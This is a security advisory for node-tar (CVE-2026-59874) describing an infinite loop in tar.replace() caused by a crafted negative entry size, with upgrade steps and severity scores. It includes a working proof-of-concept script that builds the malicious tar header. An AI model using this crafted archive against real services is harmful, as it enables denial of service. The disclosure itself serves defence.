Skip to content

GHSA-8x88-c5mf-7j5w CVE-2026-59874

node-tar: Negative tar entry size causes infinite loop in archive replace

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.43%
Chance of exploitation in the next 30 days. Higher than 37.69% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')
Fix
7.5.18
Upgrade tar to this version or later

Description

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

Affected versions

npm

PackageVulnerableFixed in
tar
< 7.5.18
7.5.18

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

tar npm → 7.5.18

npm
npm install tar@7.5.18
yarn
yarn add tar@7.5.18
pnpm
pnpm add tar@7.5.18

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-r292-9mhp-454m
node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection
High Also affects tar
GHSA-gvwx-54wh-qm9j
node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
Medium Also affects tar
GHSA-23hp-3jrh-7fpw
node-tar: Decompression/parse DoS via unlimited input
High Also affects tar
GHSA-w8wr-v893-vjvp
node-tar: Process crash via PAX numeric path type confusion
High Also affects tar
GHSA-vmf3-w455-68vh
node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)
Medium Also affects tar
GHSA-9ppj-qmqm-q256
node-tar Symlink Path Traversal via Drive-Relative Linkpath
Medium Also affects tar
GHSA-qffp-2rhf-9h96
tar has Hardlink Path Traversal via Drive-Relative Linkpath
Medium Also affects tar
GHSA-83g3-92jg-28cx
Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction
High Also affects tar
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor